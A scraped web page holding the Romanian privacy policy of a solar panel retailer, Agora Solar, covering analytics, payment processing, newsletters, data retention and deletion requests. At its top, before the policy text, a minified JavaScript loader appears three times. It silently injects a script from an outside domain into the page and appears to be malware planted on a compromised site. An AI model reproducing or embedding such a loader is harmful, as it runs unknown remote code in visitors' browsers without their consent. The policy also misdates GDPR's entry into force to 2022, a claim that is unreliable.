;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Politica de confidențialitate - Agora Solar

Politica de confidențialitate

Politica noastră de confidențialitate a fost actualizată pentru a se conforma cu Regulamentul general privind protecția datelor (GDPR), care intră în vigoare în UE pe 25 mai 2022. GDPR vă oferă protecție suplimentară și informații despre modul în care companiile vă colectează și utilizează datele personale.

Agora Solar vă respectă confidențialitatea. Pe scurt, colectăm doar informațiile minime de care avem nevoie pentru a 1) îndeplini solicitările dvs., cum ar fi o comandă, o cerere de ofertă sau o înscriere la un buletin informativ și pentru a 2) înțelege mai bine cine folosește site-ul nostru și cum le putem servi mai bine. .

Împărtășim aceste informații numai cu companiile pe care le folosim pentru a gestiona tranzacții, cum ar fi procesatorul nostru de coș de cumpărături și comenzi (Stripe), gestionarea de buletine informative (Mailchimp) și procesorul nostru de analiză web (Google). Nu împărtășim informațiile dumneavoastră cu terțe părți care nu sunt direct implicate în a ne ajuta să vă îndeplinim solicitările

Nu vindem niciodată informațiile dvs.

Ce informații colectăm și de ce?

Vizite pe site-ul nostru

Utilizăm Google Analytics pentru a măsura activitățile vizitatorilor noștri pe site-ul nostru. Aceasta ne oferă informații de bază, care nu pot fi identificate personal, cum ar fi tipul de dispozitiv și browser web pe care îl utilizați, paginile pe care le vizitați, termenii de căutare folosiți pentru a găsi site-ul nostru.

Folosim aceste date pentru a înțelege mai bine cum folosesc vizitatorii site-ul nostru web și pentru a răspunde nevoilor lor în consecință.Exemplu: vedem că un vizitator al site-ului web ne-a găsit prin căutarea „panouri solare fabricate în America” și a petrecut următoarele cincisprezece minute navigând pe site-ul nostru web, căutând produsele potrivite pentru a cumpăra.

Informații personale pe care le furnizați în mod voluntar

Dacă vă angajați într-o tranzacție pe site-ul nostru web, cum ar fi plasarea unei comenzi, solicitarea unei cotații sau înscrierea la buletinul nostru informativ, folosim informațiile pe care le-ați furnizat pentru a îndeplini această solicitare.

Acolo unde este necesar, compania noastră de procesare a comenzilor online utilizează informațiile dvs. de facturare pentru a vă procesa plata, expeditorii noștri folosesc adresa dvs. de expediere pentru a vă livra mărfuri, iar sistemul nostru de buletine informative utilizează adresa dvs. de e-mail pentru a vă trimite noi probleme.

Exemplu: Primim o comandă pentru un pachet solar în afara rețelei, așa că folosim informațiile de facturare și expediere ale clientului respectiv pentru a procesa plata și a-și expedia bunurile. Același client decide să se înscrie și pentru buletinul nostru informativ, așa că îi stocăm adresa de e-mail pentru viitoarele corespondențe.

O combinație a celor de mai sus

Putem combina informațiile de mai sus pentru a înțelege mai bine fluxul experiențelor cumpărătorilor noștri pe site-ul nostru. Nu colectăm date suplimentare pentru aceasta, dar putem corela și face referințe încrucișate la datele noastre existente.

Facem acest lucru pentru a înțelege mai bine eficiența site-ului nostru web și a reclamei în a se potrivi nevoilor clienților noștri și pentru a oferi mai eficient vizitatorilor informațiile sau produsele pe care le caută.

Exemplu: stabilim că un vizitator care a căutat „panouri solare fabricate în Romania” a achiziționat în cele din urmă un anumit tip de panou solar și că alți clienți au luat aceeași decizie de cumpărare. Apoi folosim aceste cunoștințe combinate pentru a ne adapta reclamele pentru a menționa acest anumit produs, după ce am aflat că este o potrivire bună pentru clienții care caută acele cuvinte cheie. Acest lucru are ca rezultat o experiență mai ușoară și mai rapidă pentru viitorii clienți.

Când avem voie să comunicăm cu tine?

Prelucrăm informațiile dvs. și comunicăm cu dvs. numai atunci când avem o bază legală pentru a face acest lucru. Câteva exemple în care am avea un „temei legal” pentru a vă folosi datele:

  • Consimțământ: ne-ați dat consimțământul explicit pentru a comunica cu dvs. De exemplu, ați completat un formular și ați bifat o casetă de înscriere pentru a primi buletinul nostru informativ.
  • Executarea unui contract: Dacă cumpărați de la noi, accesăm datele dumneavoastră pentru a vă trimite o factură sau pentru a vă expedia comanda la adresa din dosar.
  • Interes legitim: Vă trimitem informații relevante atunci când este probabil să fie utile, pe baza interacțiunilor noastre anterioare cu dvs. De exemplu, dacă cumpărați un sistem în afara rețelei, vă putem trimite un ghid standard de îngrijire și întreținere pentru a vă îngriji sistemul.

Nu vă contactăm niciodată fără o bază legală pentru a face acest lucru. Dacă vă răzgândiți vreodată cu privire la primirea de e-mailuri de la noi și doriți să revocați consimțământul nostru de a vă contacta, puteți face clic pe linkul de dezabonare situat în subsolul fiecărui e-mail pe care îl trimitem.

Cât timp păstrăm datele dumneavoastră?

Stocăm datele dumneavoastră cu caracter personal atât timp cât este necesar pentru a îndeplini scopuri comerciale legitime și esențiale, cum ar fi onorarea garanțiilor, expedierea pieselor de schimb, luarea deciziilor de afaceri bazate pe modelele din datele clienților, respectarea obligațiilor noastre legale și soluționarea litigiilor.

În orice moment, puteți solicita să ștergem sau să anonimizăm datele dumneavoastră de identificare personală. Vă rugăm să trimiteți un e-mail la [email protected] pentru a solicita ștergerea informațiilor dvs. din evidențele noastre.

Vom îndeplini toate solicitările, cu excepția cazului în care există un motiv legal pentru a vă păstra datele, cum ar fi:

  • Există o problemă nerezolvată legată de contul dvs., cum ar fi o plată restante sau o dispută
  • Trebuie să păstrăm datele personale pentru obligațiile noastre legale, fiscale și contabile
  • Trebuie să păstrăm datele personale pentru a ne proteja împotriva fraudei și pentru a menține securitatea utilizatorilor noștri

Vă rugăm să rețineți că atunci când vă ștergem datele, păstrăm înregistrări anonime ale interacțiunii dvs. cu noi – cum ar fi câte pagini ați vizitat sau cât timp ați petrecut pe site. Acest lucru ne permite să luăm decizii de afaceri în cunoștință de cauză, pe baza datelor demografice și a comportamentului publicului nostru. Odată ce datele dvs. sunt șterse, niciuna dintre datele analitice pe care le colectăm nu poate fi legată de informațiile dvs. de identificare personală.

Nu-mi place asta. Cum renunț?

Deși aceste practici sunt standard și comune pentru majoritatea comercianților online, înțelegem că nu toți vizitatorii doresc să facă parte din acest proces. Pe lângă solicitarea de a vă șterge datele, puteți renunța complet la Google Analytics urmând  instrucțiunile Google de pe pagina de renunțare . Acest lucru ne va împiedica pe noi și pe alte site-uri compatibile cu Google Analytics să colectăm informații de navigare despre dvs.

Dacă renunțați la Google Analytics, singurele informații pe care le colectăm despre dvs. sunt cele pe care ni le furnizați în mod voluntar și explicit în timpul unei tranzacții. Și ca mai sus, vom folosi aceste informații doar pentru a vă îndeplini solicitările.

Cum să ne contactați

Dacă aveți întrebări sau nelămuriri cu privire la Politica noastră de confidențialitate, vă rugăm să ne trimiteți un e-mail la [email protected]